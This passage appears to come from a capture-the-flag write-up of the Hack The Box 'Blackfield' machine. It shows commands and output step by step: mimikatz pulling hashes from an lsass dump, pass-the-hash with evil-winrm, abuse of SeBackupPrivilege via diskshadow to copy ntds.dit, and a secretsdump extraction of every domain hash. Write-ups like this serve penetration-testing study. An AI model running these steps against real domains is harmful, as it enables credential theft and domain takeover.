smb: \commands_output\> cd ..
smb: \> cd memory_analysis
smb: \memory_analysis\> ls
. D 0 Thu May 28 16:28:33 2020
.. D 0 Thu May 28 16:28:33 2020
conhost.zip A 37876530 Thu May 28 16:25:36 2020
ctfmon.zip A 24962333 Thu May 28 16:25:45 2020
dfsrs.zip A 23993305 Thu May 28 16:25:54 2020
dllhost.zip A 18366396 Thu May 28 16:26:04 2020
ismserv.zip A 8810157 Thu May 28 16:26:13 2020
lsass.zip A 41936098 Thu May 28 16:25:08 2020
mmc.zip A 64288607 Thu May 28 16:25:25 2020
RuntimeBroker.zip A 13332174 Thu May 28 16:26:24 2020
ServerManager.zip A 131983313 Thu May 28 16:26:49 2020
sihost.zip A 33141744 Thu May 28 16:27:00 2020
smartscreen.zip A 33756344 Thu May 28 16:27:11 2020
svchost.zip A 14408833 Thu May 28 16:27:19 2020
taskhostw.zip A 34631412 Thu May 28 16:27:30 2020
winlogon.zip A 14255089 Thu May 28 16:27:38 2020
wlms.zip A 4067425 Thu May 28 16:27:44 2020
WmiPrvSE.zip A 18303252 Thu May 28 16:27:53 2020
7846143 blocks of size 4096. 3821004 blocks available
smb: \memory_analysis\>
So from the above we can see lsass.zip in memory_analysis folder, now I can extract the lsass.zip and use mimikatz to get the NTLM hash.
oot@Ac3:~# smbclient //blackfield.htb/forensic -U audit2020
Enter WORKGROUP\audit2020's password:
Try "help" to get a list of possible commands.
smb: \> cd memory_analysis
smb: \memory_analysis\> get lsass.zip
parallel_read returned NT_STATUS_IO_TIMEOUT
smb: \memory_analysis\> get lsass.zip
getting file \memory_analysis\lsass.zip of size 41936098 as lsass.zip getting file \memory_analysis\lsass.zip of size 41936098 as lsass.zip (1099.1 KiloBytes/sec) (average 1099.1 KiloBytes/sec)
smb: \memory_analysis\>
Using Mimikatz
There are many blogs which are helpful how to use mimikatz for hashdump from lsass
mimikatz_trunk\x64>mimikatz.exe
.#####. mimikatz 2.2.0 (x64) #19041 May 19 2020 00:48:59
.## ^ ##. "A La Vie, A L'Amour" - (oe.eo)
## / \ ## /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
## \ / ## > http://blog.gentilkiwi.com/mimikatz
'## v ##' Vincent LE TOUX ( vincent.letoux@gmail.com )
'#####' > http://pingcastle.com / http://mysmartlogon.com ***/
mimikatz # sekurlsa::minidump lsass.DMP
Switch to MINIDUMP : 'lsass.DMP'
mimikatz # sekurlsa::logonpasswords
Opening : 'lsass.DMP' file for minidump...
Authentication Id : 0 ; 406458 (00000000:000633ba)
Session : Interactive from 2
User Name : svc_backup
Domain : BLACKFIELD
Logon Server : DC01
Logon Time : 2/23/2020 11:30:03 PM
SID : S-1-5-21-4194615774-2175524697-3563712290-1413
msv :
[00000003] Primary
* Username : svc_backup
* Domain : BLACKFIELD
* NTLM : 9658d1d1dcd9250115e2205d9f48400d
* SHA1 : 463c13a9a31fc3252c68ba0a44f0221626a33e5c
* DPAPI : a03cd8e9d30171f3cfe8caad92fef621
tspkg :
wdigest :
* Username : svc_backup
* Domain : BLACKFIELD
* Password : (null)
kerberos :
* Username : svc_backup
* Domain : BLACKFIELD.LOCAL
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 153705 (00000000:00025869)
Session : Interactive from 1
User Name : Administrator
Domain : BLACKFIELD
Logon Server : DC01
Logon Time : 2/23/2020 11:29:04 PM
SID : S-1-5-21-4194615774-2175524697-3563712290-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : BLACKFIELD
* NTLM : 7f1e4ff8c6a8e6b6fcae2d9c0572cd62
* SHA1 : db5c89a961644f0978b4b69a4d2a2239d7886368
* DPAPI : 240339f898b6ac4ce3f34702e4a89550
tspkg :
wdigest :
* Username : Administrator
* Domain : BLACKFIELD
* Password : (null)
kerberos :
* Username : Administrator
* Domain : BLACKFIELD.LOCAL
* Password : (null)
ssp :
credman :
Authentication Id : 0 ; 40310 (00000000:00009d76)
Session : Interactive from 1
User Name : DWM-1
Domain : Window Manager
Logon Server : (null)
Logon Time : 2/23/2020 11:27:46 PM
SID : S-1-5-90-0-1
msv :
[00000003] Primary
* Username : DC01$
* Domain : BLACKFIELD
* NTLM : b624dc83a27cc29da11d9bf25efea796
* SHA1 : 4f2a203784d655bb3eda54ebe0cfdabe93d4a37d
tspkg :
wdigest :
* Username : DC01$
* Domain : BLACKFIELD
* Password : (null)
kerberos :
* Username : DC01$
* Domain : BLACKFIELD.local
* Password : &SYVE+<ynu`Ql;gvEE!f$DoO0F+,gP@P`fra`z4&G3K'mH:&'K^SW$FNWWx7J-N$^'bzB1Duc3^Ez]En kh`b'YSV7Ml#@G3@*(b$]j%#L^[Q`nCP'<Vb0I6
ssp :
credman :
Authentication Id : 0 ; 406499 (00000000:000633e3)
Session : Interactive from 2
User Name : svc_backup
Domain : BLACKFIELD
Logon Server : DC01
Logon Time : 2/23/2020 11:30:03 PM
SID : S-1-5-21-4194615774-2175524697-3563712290-1413
msv :
[00000003] Primary
* Username : svc_backup
* Domain : BLACKFIELD
* NTLM : 9658d1d1dcd9250115e2205d9f48400d
* SHA1 : 463c13a9a31fc3252c68ba0a44f0221626a33e5c
* DPAPI : a03cd8e9d30171f3cfe8caad92fef621
tspkg :
wdigest :
* Username : svc_backup
* Domain : BLACKFIELD
* Password : (null)
kerberos :
* Username : svc_backup
* Domain : BLACKFIELD.LOCAL
* Password : (null)
ssp :
credman :
At this point I was a little exited as I got the Admin hash, But yeah Don't expect anything to be simple.
So I tried to crack the hash of SVC-Backup but no luck, So I tried to pass the hash using Evil-winrm.
` evil-winrm -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -i blackfield.htb`
It was a Success!
evil-winrm -u svc_backup -H 9658d1d1dcd9250115e2205d9f48400d -i blackfiled.htb
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_backup\Documents>
Getting User.txt
*Evil-WinRM* PS C:\Users\svc_backup> cd Desktop
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> type user.txt
3e666----------------------------30a
Privilege Escalation
Seeing the privileges of svc-backup
*Evil-WinRM* PS C:\Users\svc_backup\Desktop> whoami /all
USER INFORMATION
----------------
User Name SID
===================== ==============================================
blackfield\svc_backup S-1-5-21-4194615774-2175524697-3563712290-1413
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
========================================== ================ ============ ==================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators Alias S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level Label S-1-16-12288
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
USER CLAIMS INFORMATION
-----------------------
User claims unknown.
Kerberos support for Dynamic Access Control on this device has been disabled.
Enumerating you will find notes.txt and since svc_backup has backup ability robocopy can be exploited in a way.
https://pentestlab.blog/tag/diskshadow/
root@Ac3:~# cat jeevan.txt
SET CONTEXT PERSISTENT NOWRITERS#
add volume c: alias jeevan#
createp#
expose %jeevan% z:#
*Evil-WinRM* PS C:\Windows\temp> diskshadow /s jeevan.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer: DC01, 7/11/2020 2:44:35 PM
-> SET CONTEXT PERSISTENT NOWRITERS
-> add volume c: alias jeevan
-> create
Alias jeevan for shadow ID {64f5cc48-8cd1-4d3a-9393-504db85af469} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {95cfeba5-f3b5-43bc-ad73-c6bcee2bc475} set as environment variable.
Querying all shadow copies with the shadow copy set ID {95cfeba5-f3b5-43bc-ad73-c6bcee2bc475}
* Shadow copy ID = {64f5cc48-8cd1-4d3a-9393-504db85af469} %jeevan%
- Shadow copy set: {95cfeba5-f3b5-43bc-ad73-c6bcee2bc475} %VSS_SHADOW_SET%
- Original count of shadow copies = 1
- Original volume name: \\?\Volume{351b4712-0000-0000-0000-602200000000}\ [C:\]
- Creation time: 7/11/2020 2:44:35 PM
- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
- Originating machine: DC01.BLACKFIELD.local
- Service machine: DC01.BLACKFIELD.local
- Not exposed
- Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
- Attributes: No_Auto_Release Persistent No_Writers Differential
Number of shadow copies listed: 1
-> expose %jeevan% z:
-> %jeevan% = {64f5cc48-8cd1-4d3a-9393-504db85af469}
The shadow copy was successfully exposed as z:\.
->
*Evil-WinRM* PS C:\Windows\temp> ls
Directory: C:\Windows\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 7/11/2020 2:44 PM 628 2020-07-11_14-44-35_DC01.cab
-a---- 7/11/2020 2:44 PM 90 jeevan.txt
-a---- 7/11/2020 1:13 PM 135470 MpCmdRun.log
-a---- 7/11/2020 12:42 PM 102 silconfig.log
------ 7/11/2020 12:42 PM 63072 vmware-vmsvc.log
------ 7/11/2020 12:43 PM 15832 vmware-vmusr.log
-a---- 7/11/2020 12:42 PM 1728 vmware-vmvss.log
*Evil-WinRM* PS C:\Windows\temp>
At this point I realised the privs of svc-backup
PRIVILEGES INFORMATION
----------------------
Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
To get the NTDS.dit I need to fool the system in order to do so.
https://github.com/giuliano108/SeBackupPrivilege/tree/master/SeBackupPrivilegeCmdLets/bin/Debug
After Uploading both the .dll files.
*Evil-WinRM* PS C:\Windows\temp> upload SeBackupPrivilegeCmdLets.dll
Info: Uploading SeBackupPrivilegeCmdLets.dll to C:\Windows\temp\SeBackupPrivilegeCmdLets.dll
Data: 16384 bytes of 16384 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Windows\temp> upload SeBackupPrivilegeUtils.dll
Info: Uploading SeBackupPrivilegeUtils.dll to C:\Windows\temp\SeBackupPrivilegeUtils.dll
Data: 21844 bytes of 21844 bytes copied
Info: Upload successful!
*Evil-WinRM* PS C:\Windows\temp>
Time to import the modules.
*Evil-WinRM* PS C:\Windows\temp> import-module .\SeBackupPrivilegeUtils.dll*Evil-WinRM* PS C:\Windows\temp> import-module .\SeBackupPrivilegeCmdLets.dll
Time to copy NTDS.dit
*Evil-WinRM* PS C:\Windows\temp> Copy-FileSebackupPrivilege z:\Windows\NTDS\ntds.dit C:\Windows\temp\ndts.dit
*Evil-WinRM* PS C:\Windows\temp> ls
Directory: C:\Windows\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 7/11/2020 2:44 PM 628 2020-07-11_14-44-35_DC01.cab
-a---- 7/11/2020 2:44 PM 90 jeevan.txt
-a---- 7/11/2020 1:13 PM 135470 MpCmdRun.log
-a---- 7/11/2020 2:56 PM 18874368 ndts.dit
-a---- 7/11/2020 2:54 PM 12288 SeBackupPrivilegeCmdLets.dll
-a---- 7/11/2020 2:54 PM 16384 SeBackupPrivilegeUtils.dll
-a---- 7/11/2020 12:42 PM 102 silconfig.log
------ 7/11/2020 12:42 PM 63072 vmware-vmsvc.log
------ 7/11/2020 12:43 PM 15832 vmware-vmusr.log
-a---- 7/11/2020 12:42 PM 1728 vmware-vmvss.log
*Evil-WinRM* PS C:\Windows\temp>
File successfully copied…
-a---- 7/11/2020 2:56 PM 18874368 ndts.dit
Having only NTDS.dit is not going to help, so i need one more file ie SYSTEM
*Evil-WinRM* PS C:\Windows\temp> reg save hklm\system C:\Windows\temp\system.bak
The operation completed successfully.
*Evil-WinRM* PS C:\Windows\temp> ls
Directory: C:\Windows\temp
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 7/11/2020 2:44 PM 628 2020-07-11_14-44-35_DC01.cab
-a---- 7/11/2020 2:44 PM 90 jeevan.txt
-a---- 7/11/2020 1:13 PM 135470 MpCmdRun.log
-a---- 7/11/2020 2:56 PM 18874368 ndts.dit
-a---- 7/11/2020 2:54 PM 12288 SeBackupPrivilegeCmdLets.dll
-a---- 7/11/2020 2:54 PM 16384 SeBackupPrivilegeUtils.dll
-a---- 7/11/2020 12:42 PM 102 silconfig.log
-a---- 7/11/2020 3:01 PM 17346560 system.bak
------ 7/11/2020 12:42 PM 63072 vmware-vmsvc.log
------ 7/11/2020 12:43 PM 15832 vmware-vmusr.log
-a---- 7/11/2020 12:42 PM 1728 vmware-vmvss.log
*Evil-WinRM* PS C:\Windows\temp>
As I’ve got both the required files, now its time to download the files to dump secrets..
*Evil-WinRM* PS C:\Windows\Temp> download ndts.dit
Info: Downloading C:\Windows\Temp\ndts.dit to ndts.dit
Progress: 11% : |▒░░░░░░░░░|
*Evil-WinRM* PS C:\Windows\temp> download system.bak
Info: Downloading C:\Windows\temp\system.bak to system.bak
Progress: 6% : |▒░░░░░░░░░░|
Wait till the procress is completed.
Dumping NTLM
Using impacket for secretdump
secretsdump.py -ntds ntds.dit -system system.bak LOCAL
secretsdump.py -ntds ndts.dit -system system.bak LOCAL
Impacket v0.9.22.dev1+20200611.111621.760cb1ea - Copyright 2020 SecureAuth Corporation
[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ndts.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:65557f7ad03ac340a7eb12b9462f80d6:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:c95ac94a048e7c29ac4b4320d7c9d3b5:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
BLACKFIELD.local\BLACKFIELD764430:1105:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
BLACKFIELD.local\BLACKFIELD538365:1106:aad3b435b51404eeaad3b435b51404ee:a658dd0c98e7ac3f46cca81ed6762d1c:::
Time to get root access
Getting Root.txt
evil-winrm -H 184fb5e5178480be64824d4cd53b99ee -u Administrator -i blackfiled.htb
root@Ac3:~# evil-winrm -H 184fb5e5178480be64824d4cd53b99ee -u administrator -i blackfiled.htb
Evil-WinRM shell v2.3
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> cd ..
*Evil-WinRM* PS C:\Users\Administrator> cd Desktop
*Evil-WinRM* PS C:\Users\Administrator\Desktop> cat root.txt
4375a------------------------5cb
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